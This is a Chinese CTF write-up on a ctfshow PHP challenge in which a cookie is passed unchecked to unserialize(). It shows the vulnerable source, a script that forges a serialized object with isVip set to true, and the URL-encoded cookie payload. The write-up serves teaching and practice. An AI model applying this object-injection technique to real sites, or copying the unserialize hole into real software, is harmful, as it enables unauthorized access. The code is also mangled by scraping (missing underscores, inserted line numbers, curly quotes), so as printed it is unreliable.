1. 代码审计
    ```php <?php errorreporting(0); highlightfile(__FILE); include(‘flag.php’);

class ctfShowUser{ public $username=’xxxxxx’; public $password=’xxxxxx’; public $isVip=false;

  1. public function checkVip(){
  2.     return $this->isVip;
  3. }
  4. public function login($u,$p){
  5.     return $this->username===$u&&$this->password===$p;
  6.   //这里没有返回isVIP的值
  7. }
  8. public function vipOneKeyGetFlag(){
  9.     if($this->isVip){
  10.         global $flag;
  11.         echo "your flag is ".$flag;
  12.     }else{
  13.         echo "no vip, no flag";
  14.     }
  15. }

}

$username=$_GET[‘username’]; $password=$_GET[‘password’];

前面定义类和上一题类似

if(isset($username) && isset($password)) //对传递的参数进行校验是否有值 { //对接收的cookie值进行反序列化赋值给$user $user = unserialize($_COOKIE[‘user’]); //调用成员函数进行校验 if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo “no vip,no flag”; } }


2.  简单分析下，代码首先校验`GET`传递的参数是否有值，然后对接收到`cookie`值进行反序列还原成对象，然后调用成员函数对对象中`username`和`password`值与传递的参数进行校验，然后校验`isVip`是否为真，输出flag  
```php
#所以这里我们进行序列化赋值给cookie
<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
  #必须设置$isVip为真，上面代码没有返回值
    public $isVip=true;
}
$a=new ctfShowUser();
#需要对值进行url编码，cookie无法对分号进行处理
echo urlencode(serialize($a));
?>

#输出
#O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

利用工具进行提交image-20210613210630782.png